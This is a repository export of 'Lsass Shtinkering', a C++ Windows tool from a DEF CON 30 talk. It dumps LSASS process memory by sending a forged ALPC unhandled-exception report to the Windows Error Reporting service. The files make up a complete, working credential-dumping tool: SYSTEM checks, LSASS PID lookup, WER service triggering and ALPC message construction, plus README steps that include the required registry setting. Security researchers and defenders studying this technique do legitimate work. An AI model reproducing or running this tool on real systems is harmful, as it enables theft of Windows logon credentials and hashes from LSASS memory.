Repository: deepinstinct/Lsass-Shtinkering
Branch: main
Commit: 7abfb54b9632
Files: 13
Total size: 31.5 KB
Directory structure:
gitextract_6si7ns8m/
├── .gitignore
├── LSASS_Shtinkering/
│ ├── LSASS_Shtinkering.vcxproj
│ ├── LSASS_Shtinkering.vcxproj.filters
│ ├── LSASS_Shtinkering.vcxproj.user
│ ├── Lsass_Shtinkering.cpp
│ ├── Lsass_Shtinkering.h
│ ├── Utils.cpp
│ ├── Utils.h
│ ├── WerReportException.cpp
│ ├── WerReportException.h
│ └── ntddk.h
├── LSASS_Shtinkering.sln
└── README.md
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
.vs/LSASS_Shtinkering/
Debug/
Release/
x64/
LSASS_Shtinkering/Debug/
LSASS_Shtinkering/Release/
LSASS_Shtinkering/x64/
================================================
FILE: LSASS_Shtinkering/LSASS_Shtinkering.vcxproj
================================================
Debug
Win32
Release
Win32
Debug
x64
Release
x64
16.0
Win32Proj
{476fc126-239f-4d58-8389-e1c0e93c2c5e}
LSASSShtinkering
10.0
Application
true
v142
Unicode
Application
false
v142
true
Unicode
Application
true
v142
Unicode
Application
false
v142
true
Unicode
true
false
true
false
Level3
true
WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreadedDebug
Console
true
%(AdditionalDependencies)
Level3
true
true
true
WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreaded
Console
true
true
true
%(AdditionalDependencies)
Level3
true
_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreadedDebug
Console
true
%(AdditionalDependencies)
Level3
true
true
true
NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreaded
Console
true
true
true
%(AdditionalDependencies)
================================================
FILE: LSASS_Shtinkering/LSASS_Shtinkering.vcxproj.filters
================================================
{4FC737F1-C7A5-4376-A066-2A32D752A2FF}
cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
{93995380-89BD-4b04-88EB-625FBE52EBFB}
h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
Source Files
Source Files
Source Files
Header Files
Header Files
Header Files
Header Files
================================================
FILE: LSASS_Shtinkering/LSASS_Shtinkering.vcxproj.user
================================================
================================================
FILE: LSASS_Shtinkering/Lsass_Shtinkering.cpp
================================================
#include "Lsass_Shtinkering.h"
int main(int argc, char* argv[])
{
DWORD processPid;
HANDLE processHandle;
try
{
if (IsLocalSystem())
wcout << L"process runs as NT AUTHORITY\\SYSTEM" << endl;
else
{
wcout << L"process must run as NT AUTHORITY\\SYSTEM to dump lsass memory" << endl;
return 0;
}
processPid = GetLsassPid();
processHandle = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION, TRUE, processPid);
wcout << L"[*] Reporting exception on LSASS PID: 0x" << std::hex << processPid << endl;
ReportExceptionToWer(processPid, processHandle);
wcout << L"[V] Exception reported successfully!" << endl;
PrintCrashDampLocation();
}
catch (std::exception& exception)
{
wcout << L"[X] Error: " << exception.what() << endl;
}
}
================================================
FILE: LSASS_Shtinkering/Lsass_Shtinkering.h
================================================
#pragma once
#include "WerReportException.h"
================================================
FILE: LSASS_Shtinkering/Utils.cpp
================================================
#include "Utils.h"
DWORD GetServicePid(const wstring& ServiceName)
{
const SC_HANDLE controlManagerHandle = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
if (nullptr == controlManagerHandle)
throw runtime_error("Connecting to Service Control Manager failed");
const SC_HANDLE serviceHandle = OpenServiceW(controlManagerHandle, ServiceName.c_str(), SERVICE_QUERY_STATUS);
CloseServiceHandle(controlManagerHandle);
if (nullptr == serviceHandle)
throw runtime_error("Opening service handle failed");
SERVICE_STATUS_PROCESS procInfo;
DWORD bytesNeeded;
if (!QueryServiceStatusEx(serviceHandle, SC_STATUS_PROCESS_INFO, reinterpret_cast(&procInfo), sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded))
{
CloseServiceHandle(serviceHandle);
throw runtime_error("Querying service status failed");
}
CloseServiceHandle(serviceHandle);
return procInfo.dwProcessId;
}
DWORD GetLsassPid()
{
return GetServicePid(L"samss");
}
BOOL IsLocalSystem()
{
const HANDLE tokenHandle = GetCurrentProcessToken();
DWORD tokenInformationSize = 0;
GetTokenInformation(tokenHandle, TokenUser, nullptr, 0, &tokenInformationSize);
// The first call should fail because the buffer pointer is null. It is made to retrieve the required size of the buffer
if (ERROR_INSUFFICIENT_BUFFER != GetLastError())
throw runtime_error("Getting buffer size from GetTokenInformation failed");
// Allocate the memory required to store the info
const auto tokenInfoBuffer = new uint8_t[tokenInformationSize];
// Call GetTokenInformation again with a pointer to a buffer
if (!GetTokenInformation(tokenHandle, TokenUser, tokenInfoBuffer, tokenInformationSize, &tokenInformationSize))
{
delete[] tokenInfoBuffer;
throw runtime_error("Retrieving info from GetTokenInformation failed");
}
const auto tokenUser = reinterpret_cast(tokenInfoBuffer);
const BOOL isSystem = IsWellKnownSid(tokenUser->User.Sid, WinLocalSystemSid);
delete[] tokenInfoBuffer;
return isSystem;
}
DWORD GetFirstThread(const DWORD Pid)
{
const HANDLE snapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (INVALID_HANDLE_VALUE == snapshotHandle)
throw runtime_error("Creating threads snapshot failed");
DWORD threadId = 0;
THREADENTRY32 threadEntry;
threadEntry.dwSize = sizeof(THREADENTRY32);
if (Thread32First(snapshotHandle, &threadEntry))
{
do {
if (threadEntry.th32OwnerProcessID == Pid) {
threadId = threadEntry.th32ThreadID;
}
} while (Thread32Next(snapshotHandle, &threadEntry));
}
CloseHandle(snapshotHandle);
return threadId;
}
void PrintCrashDampLocation()
{
DWORD bufferSize = 32767;
std::wstring environmentVariable;
environmentVariable.resize(bufferSize);
bufferSize = GetEnvironmentVariableW(L"LocalAppData", &environmentVariable[0], bufferSize);
if (!bufferSize)
throw runtime_error("Retrieving %LocalAppData% failed");
environmentVariable.resize(bufferSize);
environmentVariable.append(L"\\CrashDumps");
std::wcout << L"[*] Crash dumps directory: " << environmentVariable << endl;
}
================================================
FILE: LSASS_Shtinkering/Utils.h
================================================
#pragma once
#include
#include
#include
#include
#include
using std::endl;
using std::wcout;
using std::string;
using std::wstring;
using std::runtime_error;
DWORD GetLsassPid();
BOOL IsLocalSystem();
DWORD GetFirstThread(DWORD Pid);
void PrintCrashDampLocation();
================================================
FILE: LSASS_Shtinkering/WerReportException.cpp
================================================
#include "WerReportException.h"
NTSTATUS SignalStartWerSvc()
{
NTSTATUS ntstatus = STATUS_UNSUCCESSFUL;
HMODULE ntdllHandle = GetModuleHandle(L"ntdll.dll");
const auto NtUpdateWnfStateData = reinterpret_cast(GetProcAddress(ntdllHandle, "NtUpdateWnfStateData"));
if (NtUpdateWnfStateData)
{
__int64 werWnfStateName = 0x41940B3AA3BC0875; // WNF_WER_SERVICE_START
wcout << L" [-] NtUpdateWnfStateData() for WNF_WER_SERVICE_START" << endl;
ntstatus = NtUpdateWnfStateData(&werWnfStateName, nullptr, 0, nullptr, nullptr, 0, 0);
}
else
{
// Alternative to WNF (before Win8 for example)
const auto EtwEventWriteNoRegistration = reinterpret_cast(GetProcAddress(ntdllHandle, "EtwEventWriteNoRegistration"));
if (nullptr == EtwEventWriteNoRegistration)
return ntstatus;
constexpr GUID feedbackServiceTriggerProviderGuid = { 0xe46eead8, 0xc54, 0x4489, {0x98, 0x98, 0x8f, 0xa7, 0x9d, 0x5, 0x9e, 0xe} };
EVENT_DESCRIPTOR eventDescriptor;
RtlZeroMemory(&eventDescriptor, sizeof(EVENT_DESCRIPTOR));
wcout << L" [-] EtwEventWriteNoRegistration() for {E46EEAD8-0C54-4489-9898-8FA79D059E0E}" << endl;
ntstatus = EtwEventWriteNoRegistration(&feedbackServiceTriggerProviderGuid, &eventDescriptor, 0, nullptr);
}
return ntstatus;
}
NTSTATUS WaitForWerSvc()
{
constexpr auto name = L"\\KernelObjects\\SystemErrorPortReady";
UNICODE_STRING objectName;
objectName.Buffer = const_cast(name);
objectName.Length = 0x46;
objectName.MaximumLength = 0x48;
OBJECT_ATTRIBUTES objectAttributes;
objectAttributes.ObjectName = &objectName;
objectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
objectAttributes.RootDirectory = nullptr;
objectAttributes.Attributes = 0;
objectAttributes.SecurityDescriptor = nullptr;
objectAttributes.SecurityQualityOfService = nullptr;
wcout << L" [-] NtOpenEvent() for \"\\KernelObjects\\SystemErrorPortReady\"" << endl;
HANDLE hEvent;
NTSTATUS ntstatus = NtOpenEvent(&hEvent, EVENT_QUERY_STATE | SYNCHRONIZE, &objectAttributes);
if (!NT_SUCCESS(ntstatus))
throw runtime_error("WaitForWerSvc()->NtOpenEvent() failed");
wcout << L" [-] NtWaitForSingleObject() for hEvent" << endl;
ntstatus = NtWaitForSingleObject(hEvent, FALSE, nullptr);
NtClose(hEvent);
return ntstatus;
}
NTSTATUS SendMessageToWerService(ReportExceptionWerAlpcMessage* SendingMessage, ReportExceptionWerAlpcMessage* ReceivingMessage)
{
wcout << L" [-] SignalStartWerSvc()" << endl;
NTSTATUS ntstatus = SignalStartWerSvc();
wcout << L" [-] NTSTATUS: 0x" << ntstatus << endl;
if (!NT_SUCCESS(ntstatus))
throw runtime_error("Signaling WER to start failed");
wcout << L" [-] WaitForWerSvc()" << endl;
ntstatus = WaitForWerSvc();
wcout << L" [-] NTSTATUS: 0x" << ntstatus << endl;
if (!NT_SUCCESS(ntstatus))
throw runtime_error("Waiting for WER to start failed");
HMODULE ntdllHandle = GetModuleHandle(L"ntdll.dll");
auto ZwAlpcConnectPort = reinterpret_cast(GetProcAddress(ntdllHandle, "ZwAlpcConnectPort"));
auto NtAlpcSendWaitReceivePort = reinterpret_cast(GetProcAddress(ntdllHandle, "NtAlpcSendWaitReceivePort"));
UNICODE_STRING alpcWerPortString;
RtlInitUnicodeString(&alpcWerPortString, L"\\WindowsErrorReportingServicePort");
HANDLE portHandle;
OBJECT_ATTRIBUTES objectAttributes;
ALPC_PORT_ATTRIBUTES portAttributes;
PORT_MESSAGE connectionMessage;
objectAttributes.Length = sizeof(objectAttributes);
objectAttributes.RootDirectory = nullptr;
objectAttributes.Attributes = 0;
objectAttributes.ObjectName = nullptr;
objectAttributes.SecurityDescriptor = nullptr;
objectAttributes.SecurityQualityOfService = nullptr;
memset(&portAttributes, 0, sizeof(portAttributes));
portAttributes.MaxMessageLength = sizeof(ReportExceptionWerAlpcMessage);
ntstatus = ZwAlpcConnectPort(&portHandle, &alpcWerPortString, &objectAttributes, &portAttributes, ALPC_MSGFLG_SYNC_REQUEST, nullptr, nullptr, nullptr, nullptr, nullptr, nullptr);
wcout << L" [-] ZwAlpcConnectPort() for \"\\WindowsErrorReportingServicePort\" NTSTATUS: 0x" << ntstatus << endl;
if (!NT_SUCCESS(ntstatus))
throw runtime_error("ZwAlpcConnectPort failed");
SIZE_T bufLength = sizeof(ReportExceptionWerAlpcMessage);
ntstatus = NtAlpcSendWaitReceivePort(portHandle, ALPC_MSGFLG_SYNC_REQUEST, reinterpret_cast(SendingMessage), nullptr, reinterpret_cast(ReceivingMessage), &bufLength, nullptr, nullptr);
NtClose(portHandle);
std::cout << " [-] NtAlpcSendWaitReceivePort() NTSTATUS: 0x" << std::hex << ntstatus << endl;
std::cout << " [-] Received message NtStatusErrorCode: 0x" << ReceivingMessage->NtStatusErrorCode << endl;
// Check that the ntstatus from the call and in the received message indicate success
if (NT_SUCCESS(ntstatus) && STATUS_TIMEOUT != ntstatus)
{
if (!NT_SUCCESS(ReceivingMessage->NtStatusErrorCode))
throw runtime_error("ReceivingMessage->NtStatusErrorCode indicates a fail");
}
else
throw runtime_error("NtAlpcSendWaitReceivePort failed");
return ntstatus;
}
BOOL ReportExceptionToWer(DWORD ProcessPid, HANDLE ProcessHandle)
{
// Create exception details
EXCEPTION_RECORD exceptionRecord = {};
_EXCEPTION_POINTERS exceptionPointers = {};
CONTEXT context = {};
exceptionRecord.ExceptionCode = STATUS_UNSUCCESSFUL;
exceptionPointers.ExceptionRecord = &exceptionRecord;
exceptionPointers.ContextRecord = &context;
// Create hRecoveryEVent & hCompletionEvent
_SECURITY_ATTRIBUTES eventAttributes = { sizeof(_SECURITY_ATTRIBUTES) , nullptr, TRUE };
HANDLE hRecoveryEvent = CreateEventW(&eventAttributes, TRUE, 0, nullptr);
HANDLE hCompletionEvent = CreateEventW(&eventAttributes, TRUE, 0, nullptr);
// Create the file mapping
const HANDLE hFileMapping = CreateFileMappingW(GetCurrentProcess(), &eventAttributes, PAGE_READWRITE, 0, sizeof(MappedViewStruct), nullptr);
HANDLE mappedView = MapViewOfFile(hFileMapping, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
// Prepare the MappedViewStruct
MappedViewStruct mps = {};
mps.Size = sizeof(MappedViewStruct);
mps.ExceptionPointers = &exceptionPointers;
mps.hCompletionEvent = hCompletionEvent;
mps.hRecoveryEvent = hRecoveryEvent;
mps.NtErrorCode = E_FAIL;
mps.NtStatusErrorCode = STATUS_UNSUCCESSFUL;
mps.TickCount = GetTickCount();
mps.TargetProcessPid = ProcessPid;
mps.hTargetProcess = ProcessHandle;
mps.TargetThreadTid = GetFirstThread(ProcessPid);
mps.hTargetThread = OpenThread(THREAD_QUERY_LIMITED_INFORMATION, TRUE, mps.TargetThreadTid);
// Print MappedViewStruct members
wcout << L"[*] MappedViewStruct:" << endl;
wcout << L" [-] Size: 0x" << mps.Size << endl;
wcout << L" [-] ExceptionPointers: 0x" << mps.ExceptionPointers << endl;
wcout << L" [-] hCompletionEvent: 0x" << mps.hCompletionEvent << endl;
wcout << L" [-] hRecoveryEvent: 0x" << mps.hRecoveryEvent << endl;
wcout << L" [-] NtErrorCode: 0x" << mps.NtErrorCode << endl;
wcout << L" [-] NtStatusErrorCode: 0x" << mps.NtStatusErrorCode << endl;
wcout << L" [-] TickCount: 0x" << mps.TickCount << endl;
wcout << L" [-] TargetProcessPID: 0x" << mps.TargetProcessPid << endl;
wcout << L" [-] hTargetProcess: 0x" << mps.hTargetProcess << endl;
wcout << L" [-] TargetThreadTID: 0x" << mps.TargetThreadTid << endl;
wcout << L" [-] hTargetThread: 0x" << mps.hTargetThread << endl;
// Prepare the ALPC request
ReportExceptionWerAlpcMessage sendingMessage = {};
sendingMessage.PortMessage.u1.s1.TotalLength = sizeof(ReportExceptionWerAlpcMessage);
sendingMessage.PortMessage.u1.s1.DataLength = sizeof(ReportExceptionWerAlpcMessage) - sizeof(PORT_MESSAGE);
sendingMessage.MessageType = WerSvcMessageId::RequestReportUnhandledException;
sendingMessage.Flags = 0;
sendingMessage.hFileMapping = hFileMapping;
sendingMessage.hCompletionEvent = hCompletionEvent;
sendingMessage.hRecoveryEvent = hRecoveryEvent;
sendingMessage.hFileMapping2 = hFileMapping;
sendingMessage.hTargetProcess = mps.hTargetProcess;
sendingMessage.hTargetThread = mps.hTargetThread;
sendingMessage.TargetProcessId = mps.TargetProcessPid;
// Prepare the ALPC response
ReportExceptionWerAlpcMessage receivingMessage = {};
receivingMessage.PortMessage.u1.s1.TotalLength = sizeof(ReportExceptionWerAlpcMessage);
receivingMessage.PortMessage.u1.s1.DataLength = sizeof(ReportExceptionWerAlpcMessage) - sizeof(PORT_MESSAGE);
// Copy the struct into the mapped view
RtlCopyMemory(mappedView, &mps, sizeof(mps));
wcout << L"[*] SendMessageToWerService()" << endl;
// Send the request and get the response from the ALPC server
NTSTATUS werNtstatus = SendMessageToWerService(&sendingMessage, &receivingMessage);
CloseHandle(mappedView);
CloseHandle(hFileMapping);
CloseHandle(hCompletionEvent);
CloseHandle(hRecoveryEvent);
// Did we fail to send the ALPC message?
if (STATUS_SUCCESS != werNtstatus)
throw runtime_error("SendMessageToWERService failed");
// Did the operation not succeed on WerSvc side?
if (STATUS_SUCCESS != receivingMessage.NtStatusErrorCode)
{
std::stringstream messageStream;
messageStream << "receivingMessage.NtStatusErrorCode is 0x";
messageStream << std::hex << to_string(receivingMessage.NtStatusErrorCode);
string errorMessage = messageStream.str();
throw runtime_error(errorMessage.c_str());
}
// Check if message type indicates failure
if (WerSvcMessageId::ReplyReportUnhandledExceptionFailure != receivingMessage.MessageType)
{
std::stringstream messageStream;
messageStream << "receivingMessage.MessageType is 0x";
messageStream << std::hex << to_string(receivingMessage.NtStatusErrorCode);
string errorMessage = messageStream.str();
throw runtime_error(errorMessage.c_str());
}
// The reply consists of a handle to the spawned WerFault.exe process
auto werFaultProcessHandle = reinterpret_cast(receivingMessage.Flags);
wcout << L"[*] Waiting for WerFault.exe to exit..." << endl;
// Wait for WeFault to exit
while (TRUE)
{
NTSTATUS ntstatus = NtWaitForSingleObject(werFaultProcessHandle, TRUE, nullptr);
// Was there was either a timeout or a failure
if (STATUS_TIMEOUT == ntstatus || ntstatus < 0)
break;
// If there wasn't a failure,
// did we return because of an APC or because the wait was aborted?
if (STATUS_USER_APC != ntstatus && STATUS_ALERTED != ntstatus)
{
ntstatus = STATUS_SUCCESS;
break;
}
}
return TRUE;
}
================================================
FILE: LSASS_Shtinkering/WerReportException.h
================================================
#pragma once
#include "Utils.h"
#include "ntddk.h"
#include
#include
using std::to_string;
using std::to_wstring;
BOOL ReportExceptionToWer(DWORD ProcessPid, HANDLE ProcessHandle);
================================================
FILE: LSASS_Shtinkering/ntddk.h
================================================
#ifndef __NTDLL_H__
#define __NTDLL_H__
#ifdef __cplusplus
extern "C" {
#endif
#include
#ifndef _NTDLL_SELF_ // Auto-insert the library
#pragma comment(lib, "Ntdll.lib")
#endif
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define EVENT_QUERY_STATE 0x0001
#define ALPC_MSGFLG_SYNC_REQUEST 0x20000
typedef short CSHORT;
typedef struct _QUAD
{
union
{
INT64 UseThisFieldToCopy;
float DoNotUseThisField;
};
} QUAD, * PQUAD;
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
typedef struct PORT_MESSAGE
{
union
{
struct
{
CSHORT DataLength;
CSHORT TotalLength;
} s1;
ULONG Length;
} u1;
union
{
struct
{
CSHORT Type;
CSHORT DataInfoOffset;
} s2;
ULONG ZeroInit;
} u2;
union
{
CLIENT_ID ClientId;
QUAD DoNotUseThisField;
};
ULONG MessageId;
union
{
SIZE_T ClientViewSize;
ULONG CallbackId;
};
} PORT_MESSAGE, * PPORT_MESSAGE;
struct ReportExceptionWerAlpcMessage
{
PORT_MESSAGE PortMessage;
DWORD MessageType;
NTSTATUS NtStatusErrorCode;
DWORD Flags;
DWORD TargetProcessId;
HANDLE hFileMapping;
#ifndef _WIN64
DWORD Filler0;
#endif
HANDLE hRecoveryEvent;
#ifndef _WIN64
DWORD Filler1;
#endif
HANDLE hCompletionEvent;
#ifndef _WIN64
DWORD Filler2;
#endif
HANDLE hFileMapping2;
#ifndef _WIN64
DWORD Filler3;
#endif
HANDLE hTargetProcess;
#ifndef _WIN64
DWORD Filler4;
#endif
HANDLE hTargetThread;
#ifndef _WIN64
DWORD Filler5;
#endif
DWORD Filler6[324];
};
struct MappedViewStruct
{
DWORD Size;
DWORD TargetProcessPid;
DWORD TargetThreadTid;
DWORD Filler0[39];
_EXCEPTION_POINTERS* ExceptionPointers;
#ifndef _WIN64
DWORD Filler1;
#endif
DWORD NtErrorCode;
DWORD Filler2;
HANDLE hTargetProcess;
#ifndef _WIN64
DWORD Filler3;
#endif
HANDLE hTargetThread;
#ifndef _WIN64
DWORD Filler4;
#endif
HANDLE hRecoveryEvent;
#ifndef _WIN64
DWORD Filler5;
#endif
HANDLE hCompletionEvent;
#ifndef _WIN64
DWORD Filler6;
#endif
DWORD Filler7;
DWORD Filler8;
DWORD Null01;
DWORD Null02;
DWORD NtStatusErrorCode;
DWORD Null03;
DWORD TickCount;
DWORD Unk101;
};
typedef struct _WNF_TYPE_ID {
GUID TypeId;
} WNF_TYPE_ID, * PWNF_TYPE_ID;
typedef const WNF_TYPE_ID* PCWNF_TYPE_ID;
typedef ULONG WNF_CHANGE_STAMP, * PWNF_CHANGE_STAMP;
typedef ULONG LOGICAL;
typedef ULONG* PLOGICAL;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _ALPC_PORT_ATTRIBUTES
{
ULONG Flags;
SECURITY_QUALITY_OF_SERVICE SecurityQos;
SIZE_T MaxMessageLength;
SIZE_T MemoryBandwidth;
SIZE_T MaxPoolUsage;
SIZE_T MaxSectionSize;
SIZE_T MaxViewSize;
SIZE_T MaxTotalSectionSize;
ULONG DupObjectTypes;
#ifdef _WIN64
ULONG Reserved;
#endif
} ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES;
typedef struct _ALPC_MESSAGE_ATTRIBUTES
{
ULONG AllocatedAttributes;
ULONG ValidAttributes;
} ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES;
enum WerSvcMessageId
{
RequestReportUnhandledException = 0x20000000,
ReplyReportUnhandledExceptionSuccess = 0x20000001,
ReplyReportUnhandledExceptionFailure = 0x20000002,
RequestSilentProcessExit = 0x30000000,
ResponseSilentProcessExitSuccess = 0x30000001,
ResponseSilentProcessExitFailure = 0x30000002
};
NTSYSAPI
NTSTATUS
NTAPI
NtOpenEvent(
OUT PHANDLE EventHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSYSAPI
NTSTATUS
NTAPI
NtWaitForSingleObject(
IN HANDLE Handle,
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Timeout OPTIONAL
);
NTSYSAPI
NTSTATUS
NTAPI
NtClose(
IN HANDLE Handle
);
NTSYSAPI
VOID
NTAPI
RtlInitUnicodeString(
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);
typedef NTSTATUS
(NTAPI* NtUpdateWnfStateData_func)(
_In_ PVOID StateName,
_In_reads_bytes_opt_(Length) const VOID* Buffer,
_In_opt_ ULONG Length,
_In_opt_ PCWNF_TYPE_ID TypeId,
_In_opt_ const VOID* ExplicitScope,
_In_ WNF_CHANGE_STAMP MatchingChangeStamp,
_In_ LOGICAL CheckStamp);
#include
typedef ULONG(__stdcall* EtwEventWriteNoRegistration_func)(
_In_ LPCGUID ProviderId,
_In_ PCEVENT_DESCRIPTOR EventDescriptor,
_In_ ULONG UserDataCount,
_In_reads_opt_(UserDataCount) PEVENT_DATA_DESCRIPTOR UserData
);
typedef LONG(WINAPI* NtAlpcSendWaitReceivePort_func)(
_In_ HANDLE PortHandle,
_In_ ULONG Flags,
_In_reads_bytes_opt_(SendingMessage->u1.s1.TotalLength) PPORT_MESSAGE SendingMessage,
_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES SendingMessageMessageAttributes,
PPORT_MESSAGE ReceiveMessage,
_Inout_opt_ PSIZE_T BufferLength,
_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ReceiveMessageAttributes,
_In_opt_ PLARGE_INTEGER Timeout);
typedef LONG(WINAPI* NtAlpcConnectPort_func)(
_Out_ PHANDLE PortHandle,
_In_ PUNICODE_STRING PortName,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes,
_In_ ULONG Flags,
_In_opt_ PSID RequiredServerSid,
_Inout_ PPORT_MESSAGE ConnectionMessage,
_Inout_opt_ PULONG BufferLength,
_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes,
_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes,
_In_opt_ PLARGE_INTEGER Timeout);
#ifdef __cplusplus
} // extern "C"
#endif
#endif // __NTDLL_H__
================================================
FILE: LSASS_Shtinkering.sln
================================================
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.32407.337
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LSASS_Shtinkering", "LSASS_Shtinkering\LSASS_Shtinkering.vcxproj", "{476FC126-239F-4D58-8389-E1C0E93C2C5E}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{476FC126-239F-4D58-8389-E1C0E93C2C5E}.Debug|x64.ActiveCfg = Debug|x64
{476FC126-239F-4D58-8389-E1C0E93C2C5E}.Debug|x64.Build.0 = Debug|x64
{476FC126-239F-4D58-8389-E1C0E93C2C5E}.Debug|x86.ActiveCfg = Debug|Win32
{476FC126-239F-4D58-8389-E1C0E93C2C5E}.Debug|x86.Build.0 = Debug|Win32
{476FC126-239F-4D58-8389-E1C0E93C2C5E}.Release|x64.ActiveCfg = Release|x64
{476FC126-239F-4D58-8389-E1C0E93C2C5E}.Release|x64.Build.0 = Release|x64
{476FC126-239F-4D58-8389-E1C0E93C2C5E}.Release|x86.ActiveCfg = Release|Win32
{476FC126-239F-4D58-8389-E1C0E93C2C5E}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {7CDF1F4C-173E-42D6-AC24-6C2F9795B327}
EndGlobalSection
EndGlobal
================================================
FILE: README.md
================================================
# Lsass Shtinkering
New method of dumping LSASS by abusing the Windows Error Reporting service.
It sends a message to the service with the ALPC protocol to report an exception on LSASS.
This report will cause the service to dump the memory of LSASS.
## Prerequisites
The registry value "DumpType" under "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps" should be set to 2.
## Credits
* [Asaf Gilboa](https://twitter.com/asaf_gilboa)
## References
- https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf